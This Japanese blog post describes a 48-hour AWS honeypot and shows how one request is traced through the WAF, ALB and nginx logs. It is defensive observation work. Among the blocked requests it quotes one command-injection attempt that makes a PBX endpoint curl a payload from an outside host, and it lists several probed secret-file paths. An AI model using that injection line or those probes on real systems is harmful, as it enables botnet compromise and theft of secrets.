0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

48時間のハニーポッド稼働とAWSログの観測

0
Last updated at Posted at 2026-11-07

はじめに

AWS 上にわざと狙われるだけの Web サーバー(ハニーポット)を48時間だけ置いて、どんなアクセスが来るのかを観測しました。

ただ、今回の一番の目的はAWS のログがどこに出て、どう流れて、どう読めばいいのかに慣れることです。筆者自身知識としてあるもののWAF や GuardDuty を「有効にしたけど中身はちゃんと見たことがない」と感じていたので実施しました。

以下まとめです。

  • URL はどこにも公開していないのに開始から12分で最初のスキャンが来た。
  • 48時間で WAF が受けたリクエストは480件、nginx まで届いたのは425件
  • WAF が止めたのは「User-Agent」か「path」で分かる雑なスキャンだけ。phpMyAdmin を5分で128通り探したアクセスは素通りでした。
  • GuardDuty の Finding は0件。構成上仕方ない部分がある。
  • 費用はざっくり400〜500円くらい

また、今回のログの細かい分析は Claude に手伝ってもらっています。

条件と構成

項目 内容
期間 2026/11/1 13:00 〜 11/3 13:00(JST、48時間)
リージョン 東京(ap-northeast-1)
サーバー EC2 t4g.nano(Amazon Linux 2023)+ nginx
公開ポート ALB の 80 / 443 のみ。SSH(22番)は開けない

T-Pot や Cowrie のような専用のハニーポットツールは使っていません。ツールを入れると分析の中心がツールの画面に移ってしまい、AWS のサービスを触る機会が減るからです。代わりに、/ だけ 200 を返し、それ以外はすべて 404 を返す nginx を置きました。動くコード(PHP や DB)が何もないので、乗っ取られる入り口がほぼありません。

構成図
構成図

この構成だと、1つのリクエストが次の3か所にログとして残ります。

  1. WAF のログ(CloudWatch Logs)
  2. ALB のアクセスログ(S3)
  3. nginx のアクセスログ(CloudWatch Agent 経由で CloudWatch Logs)

乗っ取られないための設計

正直ここが、今回の検証で一番大変な部分でした。
Cowrie のような専用のハニーポットツールは、偽物のシェルを見せて「攻撃者に本物の OS を触らせない」仕組みが最初から入っています。今回はそれを使わず、本物の nginx と本物の EC2 をそのまま公開しているので、乗っ取られないための守りは自分で用意する必要がありました。

中をぐちゃぐちゃにされても別に大丈夫ですが、それよりも踏み台にされて他人を攻撃する側に回るのが一番困るので、「入られにくくする」「すぐ気づく」「気づいたら止める」の3段で守ることを念頭にClaudeと壁打ちをしながら設計しました。

  • 入られにくくする:
    EC2 のセキュリティグループは、受信を「ALB のセキュリティグループからの 80番」だけに、ふつうは全開放のままにすることが多い送信(アウトバウンド)も、443番だけに絞っています。
    仮に何かを実行されても、http://(80番)でマルウェアを落としたり、SSH などで他のサーバーを攻撃したりはできないだろうという想定です。
  • すぐ気づく: GuardDuty の検知を EventBridge 経由で SNS に流し、メールで通知する仕組みを導入。
  • 止める: GitHub から Actions を実行すると、EC2 の通信を全部遮断して停止する「緊急隔離」機能を用意しました。仕事中に通知が飛んできたときにも対応できるよう、スマホからでも操作できる仕組みを前提に作りました。

EC2 のセキュリティグループ
EC2 のセキュリティグループ(受信は ALB の SG からの 80番だけ、送信は 443番だけ)

WAF には AWS のマネージドルールを3つ入れています。

優先順位 ルールグループ 何を止めるか
10 AWSManagedRulesCommonRuleSet XSS、不正なヘッダーなど Web 攻撃全般
20 AWSManagedRulesKnownBadInputsRuleSet Log4Shell や、狙われやすいパスなど既知の危険な入力
30 AWSManagedRulesLinuxRuleSet /etc/passwd の読み取りなど Linux を狙うもの

WAF のルール
Web ACL に入れたマネージドルール

1つのリクエストを3か所で追いかけてみる

まずは攻撃者のアクセスではなく、自分で送った目印付きのリクエストを追いかけてみました。攻撃者のアクセスだと「どれとどれが同じ1件か」を確かめにくいので、User-Agent に trace-article-01 という目印を付けて、1回だけ curl を送って実際のログの挙動を確認しました。

curl.exe -i -A "trace-article-01" "http://<ALB_DNS>/"

nginx のログ

nginx のログは JSON 形式で出すように設定しています。CloudWatchLogsのLogs分析 で目印を検索します。

filter user_agent = "trace-article-01"
| fields @timestamp, client_ip, uri, status, amzn_trace_id
{"time":"2026-11-01T11:56:09+00:00","client_ip":"<MY_IP>","method":"GET","uri":"/","status":200,
 "host":"<ALB_DNS>","user_agent":"trace-article-01",
 "amzn_trace_id":"Root=1-6ae728d9-63214d69193761c645ea1bb7"}

nginx のログを検索
CloudWatch Logs で nginx のログを検索

amzn_trace_id ですが、ALB はリクエストを転送するときに X-Amzn-Trace-Id というヘッダーを付けるようで、この ID が、3つのログをつないでいます。

WAF のログ

filter @message like /trace-article-01/
| fields @timestamp, action, terminatingRuleId, httpRequest.uri, httpRequest.requestId
項目 値
action ALLOW
terminatingRuleId Default_Action
httpRequest.requestId 1-6ae728d9-63214d69193761c645ea1bb7

WAF のログを検索
CloudWatch Logs で WAF のログを検索

WAF の requestId と nginx の Root= 以降が同じ値になりました。どのルールにも引っかからず、デフォルトのアクション(許可)で通したことも分かります。

ALB のログ

ALB のログだけは S3 に5分ごとの .log.gz ファイルとして置かれます。送信時刻(11:56 UTC)を含む ...T1200Z... のファイルをダウンロードして、ID で検索しました。

S3 の ALB ログ
S3 に5分ごとに保存された ALB のログファイル

zcat *T1200Z*.log.gz | grep 6ae728d9
http 2026-11-01T11:56:09.782598Z app/honeypot-alb/... <MY_IP>:32127 10.100.1.225:80
0.014 0.002 0.000 200 200 124 234 "GET http://<ALB_DNS>:80/ HTTP/1.1" "trace-article-01"
... "Root=1-6ae728d9-63214d69193761c645ea1bb7" ... 2026-11-01T11:56:09.766000Z "waf,forward" ...

ここにも同じ Root=1-6ae728d9-... があり、3つのログが1件のリクエストでつながりました。ALB のログからは、ほかでは分からない情報も読み取れます。

  • "waf,forward": ALB が「WAF で検査 → ターゲットに転送」の順に処理した記録
  • 200 200: ALB が返したステータスと、EC2 が返したステータス
  • 0.014 0.002 0.000: ALB 内部の処理時間、EC2 の応答時間、返すまでの時間(秒)

時刻で並べてみる

時刻(UTC) どこ 何が起きたか
11:56:09.766 ALB リクエストを受け取る
11:56:09.777 WAF ALLOW と判定
11:56:09.782 ALB nginx の 200 を返し終えてログに記録
11:56:13.958 nginx(@timestamp) CloudWatch Logs に届いた時刻

最後の nginx だけ4秒遅れているのは、nginx の @timestamp は、CloudWatch Agent がファイルを読んで送った時刻だからみたいです。nginx が実際に受けた時刻はログ本文の time に入っているので、CloudWatch で時刻を比べるときは、@timestamp が「いつ届いたか」なのか「いつ起きたか」なのかを意識する必要がありそうです。

3つのログの違い

WAF ALB nginx
置き場所 CloudWatch Logs S3(5分ごとの gz) CloudWatch Logs
形式 JSON スペース区切り JSON(自分で設定)
届くまで 数分 最大5分+ファイル化 数秒〜数十秒
ここにしかない情報 国(country)、止めたルール EC2 が答えたか(target_status_code)、処理の順番 自分で選んだヘッダー(host、accept など)
WAF が BLOCK したもの 残る 残る(403) 届かないので残らない

nginx のログだけを見ていると、WAF が止めた攻撃は見えません。アプリ内のログだけ見てても攻撃には気づけないかもしれません。

公開12分で最初のスキャンが来た

13:07 に構築が終わり、最初の外部アクセスは 13:19 でした。

{"time":"2026-11-01T04:19:13+00:00","client_ip":"104.199.26.x","uri":"/","status":200,
 "host":"<ALB_IP>","user_agent":"python-requests/2.34.2"}

ポイントは host が ALB の DNS 名ではなく IP アドレスになっていることです。相手はこのサーバーの名前を知らずに、AWS の IP アドレス範囲を端から叩いて、たまたま ALB のノードに当たっただけです。URL をどこにも公開していなくても、IP を持った瞬間にスキャンは来るということが分かります。

ちなみに本番前のリハーサルでは、公開して数分で /v1/models、/v1/completions、/v1/embeddings を探すアクセスが来ていました。OpenAI 互換の LLM API を認証なしで公開しているサーバー(Ollama など)を探して、タダで使おうとするスキャンです。同じ IP(164.52.24.x)が2日目の夜にも来ていたので、定期的に巡回しているようです。

48時間で何が来たか

ここから先のログの詳しい分析(IP やパスの集計、攻撃の種類の推測など)は Claude に任せています。筆者はクエリの実行とスクリーンショットの取得、結果の確認をしています。

件数

filter webaclId like /53428984/
| stats count(*) as requests by action
件数
WAF が受けたリクエスト 480件
うち ALLOW(nginx まで通した) 428件
うち BLOCK(WAF で止めた) 52件
nginx に届いたリクエスト 425件

WAF の ALLOW / BLOCK の件数
WAF の ALLOW / BLOCK の最終件数

webaclId で絞っているのは、リハーサル中のログが同じロググループに混ざっているからです。作り直した本番の Web ACL の ID だけを数えています。

1日目は静かで、開始から8時間で45件(ALLOW 42 / BLOCK 3)でした。それが2日目の朝に一気に増えます。
WAFの時間別リクエスト

2日目の朝: phpMyAdmin を5分で128通り

11/2 の 9:50〜9:55 の5分間に、1つの IP(124.158.184.x)から128件のリクエストが来ていました。この5分だけで全体の約3分の1です。突出した時間帯と IP は、次のクエリで特定できます。

filter webaclId like /53428984/
| stats count(*) as requests by bin(5m) as t, httpRequest.clientIp
| sort requests desc
| limit 10

中身は phpMyAdmin の設置場所探しでした。

/phpmyadmin/
/phpMyAdmin-5.1.1/
/db/phpMyAdmin-4/
/sql/phpmyadmin5/
/PMA/
...(128通り、1回ずつ)

どこかでログイン画面が見つかれば、次はパスワードの総当たりや既知の脆弱性を試す、という流れの下調べです。

そして、この128件はすべて WAF を ALLOW で通過していました。1件1件は「普通の URL への GET」なので、マネージドルールでは悪意を判定できないからです。

こういう「短時間に大量に叩く」タイプには、レートベースルール(例: 5分で100件を超えた IP をブロック)を入れるのが定石です。今回は入れていなかったので、「入れていれば止められた例」になりました。

この山は ALB のメトリクスにも出ていました。

ALB のリクエスト数
ALB のリクエスト数

ターゲット 4XX と ELB 4XX
ターゲット 4XX(左)と ELB 4XX(右)

  • リクエスト数: 11/2 の朝に128の棒が1本立っている
  • ターゲット 4XX: 同じ時刻に128。nginx が全部 404 を返したということ
  • ELB 4XX: 1〜6件の点が2日間に散らばっている。これは WAF が BLOCK して ALB が 403 を返した分

同じ「4XX」でも、WAF で止めたものは ELB 4XX、通して nginx が断ったものはターゲット 4XX と、集計先が分かれます。メトリクスを見るときに知っておくと、どこで止まったかがすぐ分かります。なお 5XX は期間中ずっとゼロで、応答時間も最大 2.3ms でした。t4g.nano でも余裕です。

WAF は何を止めたか

BLOCK 52件を、止めたルールごとに数えると次のようになりました。

filter webaclId like /53428984/ and action = "BLOCK"
| parse @message /"terminatingRule":\{"ruleId":"(?<rule>[^"]+)"/
| stats count(*) as hits by rule
| sort hits desc
ルール ルールグループ 件数 何を見て止めたか
UserAgent_BadBots_HEADER CommonRuleSet 25 zgrab などスキャンツールの User-Agent
ExploitablePaths_URIPATH KnownBadInputs 19 /.env など狙われやすいパスそのもの
NoUserAgent_HEADER CommonRuleSet 7 User-Agent ヘッダーがない
GenericRFI_BODY CommonRuleSet 1 本文に外部 URL を埋め込む試み

BLOCK のルール別内訳
BLOCK 52件のルール別内訳

ほとんどが「User-Agent」か「path」で分かるものです。逆に言えば、User-Agent をブラウザに偽装して普通の URL を叩けば、マネージドルールは通ってしまいます。phpMyAdmin 探しがまさにそれでした。

印象に残ったアクセス

マルウェアを落とさせようとしたもの(BLOCK)

GET /PBX.php?cmd=curl%20http://138.124.36.x/bxe HTTP/1.1
Host: <ALB_IP>
User-Agent: Mozilla/5.0 zgrab/0.x
User-Agent: Mozilla/5.0 zgrab/0.x

IP 電話(PBX)の管理画面にコマンドを渡して、攻撃者のサーバーからファイルをダウンロードさせようとしています。成功すればボットネットに組み込まれる典型的なパターンです。WAF が止めた理由は URL の中身ではなく、User-Agent の zgrab(UserAgent_BadBots_HEADER)でした。User-Agent が2行重複しているのも特徴です。

SAP NetWeaver の脆弱性探し(BLOCK)

/developmentserver/metadatauploader は、2025年に見つかった SAP NetWeaver の重大な脆弱性(CVE-2025-31324、認証なしでファイルをアップロードできる)に関係するパスです。1日目の20時台に別々の IP から1分差で来ていました。これも止めた理由は User-Agent の zgrab で、PBX.php と同じ「UA が2行重複」のクセがありました。IP も国も狙う製品も違いますが、同じツール・同じ設定から来ている可能性が高そうです。

ログイン画面の総当たり偵察(ALLOW)

216.180.246.x が十数秒で次々に送ってきたものです。

  • /+CSCOE+/logon.html(Cisco の VPN 装置)
  • /cgi-bin/login.cgi(ルーターや NAS)
  • /login.jsp、/manage/account/login、/admin/index.html など

攻撃そのものではなく、「このサーバーは何の製品か」を調べる偵察(フィンガープリンティング)です。普通の URL なので WAF は通し、nginx が 404 を返しています。

同じセットを2時間半おきに巡回(ALLOW)

末尾だけ違う隣り合った2つの IP(65.49.20.x)が、/、/favicon.ico、/webui/、/geoserver/web/ という同じ組み合わせを、16:38 と 19:01 の2回送ってきていました。GeoServer は2024年に認証なしでコマンドを実行できる脆弱性が見つかった地図サーバーです。

秘密情報のファイル探し

/.env は8つの IP から来ていて、KnownBadInputs の ExploitablePaths_URIPATH で止まりました。ほかにも /.git/config、/vicidial/project_auth_entries.txt、/hudson(Jenkins)、/druid/index.html、/setup.cgi(Netgear ルーター)、/cgi-bin/luci(OpenWrt)などが単発で来ています。

zgrab は Censys などの調査会社も使っているツールです。User-Agent だけで悪意のあるアクセスだと決めつけることはできない点は注意が必要とのこと。

国別

国の情報は WAF のログにありました(nginx のログは IP だけ)。WAF のログで国ごとに数えると、48時間で 29か国から来ていました。

filter webaclId like /53428984/
| stats count(*) as requests by httpRequest.country
| sort requests desc

国別の集計結果

国 件数
アメリカ(US) 183
インドネシア(ID) 128
フランス(FR) 40
オランダ(NL) 20
ドイツ(DE) 17
シンガポール(SG) 14
イギリス(GB) 11
中国(CN) 10
日本(JP) 7
その他20か国 50

2位のインドネシアの128件は、ちょうど phpMyAdmin 探しの128件と同じ数です。つまりインドネシアからのアクセスは、ほぼあの5分間の1つの IP だけでした。国別の件数は「どの国から攻撃が多いか」ではなく「どの国の誰か1人が大量に叩いたか」で簡単に変わるので、件数だけで国の傾向を語るのは危ういことが分かります。アメリカが多いのも、クラウド事業者や調査会社のスキャナーがアメリカの IP を使っていることが多いためだと考えられます。

GuardDuty は何も検知しなかった

48時間を通して、GuardDuty の Finding は0件でした。
GuardDuty の検出結果

これは GuardDuty がサボっていたわけではないようです。GuardDuty のスキャン検知(Recon:EC2/PortProbeUnprotectedPort など)は、EC2 のネットワークに直接届いた通信を見て判定するみたいで、今回の構成上仕方がない結果でした。今回は EC2 を ALB の裏に置いたので、EC2 に届くのは ALB からの通信だけです。攻撃はすべて ALB と WAF で受け止められていました。

EC2 の80番をインターネットに直接開ければ Finding が出た可能性はあります。ただ、そうすると WAF を通らない経路ができるので、今回は見送りました。「どのサービスが、どこを流れる通信を見ているのか」を理解しておかないと、0件の意味を読み違える、というのがここでの学びです。

Log分析 で詰まったところ

Logs Insights(日本語コンソールでは「ログのインサイト」や「ログ分析」)は、件数が増えてきたら一番使う画面です。何度か詰まったので残しておきます。

  • 既定のクエリの後ろに書き足してしまう: 最初に入っている fields ... | sort ... | limit 10000 は消して、stats に置き換える
  • ロググループを複数選んで集計がずれる: nginx の access と error は形式が違う。1つずつ選ぶ
  • SOURCE 行を手で書いてエラー: Value at 'logGroupNames' failed to satisfy constraint と怒られる。ロググループは画面の選択欄で選ぶ
  • 期間が「直近1時間」のまま: 比べたい集計は「絶対」で同じ開始時刻にそろえる。相対時間だと実行した時刻で範囲がずれ、件数が1件合わないことがあった
  • 急にロググループが見えなくなる: 請求の画面等のグローバル画面から戻ったらリージョンがバージニア北部になっていた

WAF のコンソールで見られる Sampled requests は直近3時間分しか残りません。止めたリクエストのヘッダーまで見られる便利な画面ですが、後から見返せないので、観測中は3時間ごとにスクリーンショットを撮っていました。

いくらかかったか

cost

見込みは 400〜500円(約 $3)です。東京リージョンの定価で1時間あたりに直すと、次のようになります。

サービス 1時間あたり 割合
ALB 約 $0.024 4割強
パブリック IPv4(ALB 2個+EC2 1個) $0.015 3割弱
WAF(Web ACL + ルール3つ、月 $8 を時間割り) 約 $0.011 2割
EC2(t4g.nano) 約 $0.005 1割弱
合計 約 $0.056

一番かかったのは ALB で、意外と大きかったのがパブリック IPv4 です。ALB は自分で IP を取ったつもりがなくても、ノードごとにパブリック IPv4 が付くので、その分も課金されます。ALB の料金は「時間料金+LCU 料金」ですが、LCU は最大でも 0.00019 で、ほぼ時間料金だけでした。WAF のリクエスト料金も480件なのでほぼ0です。

裏を返すと、ALB を置いたままにすると、パブリック IPv4 と WAF も合わせて1日約200円かかり続けます。コンソールで画面を見て学ぶのは観測中に済ませて、終わったらすぐ消しました。

前回の「ペンテストツール」による集中攻撃との違い

前回、AI ペンテストツール ARTEX の攻撃をローカルの Juice Shop に当てて、防御側のログから見てみました。

あちらは「このサイトを落とす」と決めて来る攻撃でした。今回の48時間では、そういう特定のサイトを狙った攻撃は1件もありませんでした。検証期間が短かったのもありたまたま来なかった or 意図して狙わないとこういった攻撃は無い のどちらかかもしれません。

前回(ARTEX) 今回(ハニーポット)
相手 Juice Shop を狙い撃ち IP を端から叩く無差別スキャン
件数 6分35秒で634件 48時間で480件
中身 検索パラメーターに SQL インジェクション、ログイン API の突破 /.env や phpMyAdmin など、決まったパスの有無を見るだけ
応答の使い方 返ってきた内容を見て次のリクエストを変える 404 が返っても同じリストを送り続ける
ログでの見え方 500 や 401 が急に増える 404 と WAF の 403 が少しずつ散らばる

一番の違いは、応答を見て次の手を変えているかどうかですね。今回のスキャンは、phpMyAdmin を128通り探した IP でさえ、1件ずつ 404 を受け取っても手を変えずにリストを最後まで送っていました。
ログを見る側としては、エラー率が急に上がる、同じパラメーターに少しずつ違う値が来る、といった動きがあったら、それは「狙われている」サインとして別扱いで見るべきだと思いました。

まとめ

ログの流れについて分かったことは以下です。

  1. 1つのリクエストは WAF・ALB・nginx の3か所に残り、ALB が付ける Trace ID でつなげている
  2. ログごとに表示される情報が異なる。国は WAF、EC2 が答えたかは ALB、細かいヘッダーは nginx
  3. WAF で止めたものは nginx のログには残らない。メトリクスでも ELB 4XX とターゲット 4XX に分かれる
  4. CloudWatch Agent 経由のログは届いた時刻になる
  5. GuardDuty の0件は「安全だった」ではなく「見える位置に通信がなかった」

今回来た攻撃については、以下が学びでした。

  • IP を持った瞬間にスキャンは来る。
  • マネージドルールは User-Agent と path で分かるものには効くが、普通の URL を大量に叩く偵察は素通り。
  • 来たのは無差別スキャンだけで、前回の ARTEX のような「応答を見て手を変える」攻撃はなかった

当初の目的であった学習という点については、WAF や GuardDuty がよく分からない状態から、どのログを開けば何が分かるのかは一通りつかめました。

次は、今回の環境を Terraform と GitHub Actions(OIDC 認証)で作って消した仕組みと、緊急隔離機能のリハーサルでに関する記事です。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?